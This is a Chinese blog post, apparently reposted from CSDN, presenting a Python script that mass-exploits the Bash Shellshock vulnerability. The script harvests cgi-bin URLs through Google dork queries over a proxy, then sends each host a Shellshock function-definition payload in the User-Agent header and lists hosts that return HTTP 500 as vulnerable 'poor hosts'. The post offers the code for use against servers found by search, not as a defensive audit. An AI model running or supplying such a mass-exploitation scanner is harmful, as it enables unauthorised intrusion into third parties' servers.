Bash Shellshock(Bash远程代码执行)漏洞批量利用脚本

jopen 10年前

Bash远程代码执行漏洞的威力确实要比心脏滴血大很多,但是影响范围不是很广泛,不过昨天的分析文章Bash远程代码执行漏洞分析中末尾提到了这个漏洞的批量问题。
其中最最简单的方法就是使用搜索引擎的hacking技术,这里我使用的Google Hacking语法结合Google API来进行链接的抓取。只不过在国内的话。。。。需要加代理。
程序中的代理是我本地的goagent代理,端口是8087。如何检测漏洞思路也很简单,我这里直接根据服务器返回码进行判断的。

思路就是以上这些,下面还是和往常一样,贴代码:

    #coding=utf-8        import requests        import json        import sys        import threading        import socket        vul_res = []        class GoogleURLProvider():            def __init__(self,pageCount,proxies):                self.pageCount = pageCount #查询的页数                self.keywords = r'inurl:cgi-bin filetype:sh'                self.apiurl = "https://ajax.googleapis.com/ajax/services/search/web"                self.proxies = proxies            def getRequest(self,url):                return requests.get(url,proxies=self.proxies,verify=False)                    def getUrls(self):                ret_list = []                tmp_list = []                for x in xrange(0,self.pageCount):                    url = "{apiurl}?v=1.0&q={keywords}&rsz=8&start={pageCount}".format(apiurl=self.apiurl,keywords=self.keywords,pageCount=x)                    try:                        r = self.getRequest(url)                            results = json.loads(r.text)                        if not results:                            continue                        infos = results['responseData']['results']                        if infos:                            for i in infos:                                tmp_list.append(i['url'])                    except Exception, e:                        continue                ret_list = ret_list + tmp_list                return ret_list                class BashRCEDetector():            def __init__(self,urls):                        self.urls = urls            def detector(self):                global vul_res                                for x in self.urls:                    #多线程执行                    each = EachWorker(x)                    each.start()                    each.join()                        '''''线程工作类'''        class EachWorker(threading.Thread):            def __init__(self,url):                threading.Thread.__init__(self)                self.url = url            def run(self):                global vul_res                useragent_header = {                    'User-Agent':'''''() { 1;}; echo 'eee'''                }                try:                    r = requests.get(self.url,headers = useragent_header,timeout=8)                    if r.status_code == 500:                        print "{url} has Bash RCE vulnerability".format(url=self.url)                        vul_res.append(self.url)                    else:                        pass                except socket.timeout, e:                    pass                except requests.exceptions.Timeout, e:                    pass                except requests.exceptions.ConnectionError, e:                    pass                        if __name__ == '__main__':            print 'Powered by:Exploit QQ:739858341'            print 'This is a program which you can use to scan the BashRCE vulnerability\nScanner working,please wait....'            if len(sys.argv) != 2:                print 'Usage:python BashRCEScanner <google pageCount>'                sys.exit()            #goagent proxy            #在这里修改,加入你自己的代理即可使用            proxies = {            'http':"http://127.0.0.1:8087",            'https':"http://127.0.0.1:8087"            }            url_res = []            vul_guys = []            urlgetter = GoogleURLProvider(int(sys.argv[1]),proxies)            url_res = urlgetter.getUrls()                    bash_detector = BashRCEDetector(url_res)            bash_detector.detector()            if len(vul_res) == 0:                print 'This group have no vulnerability'            else:                print 'Find %d poor host(s)' % len(vul_res)   

运行截图:

20140926112220982.gif

来自:http://blog.csdn.net/u011721501/article/details/39577393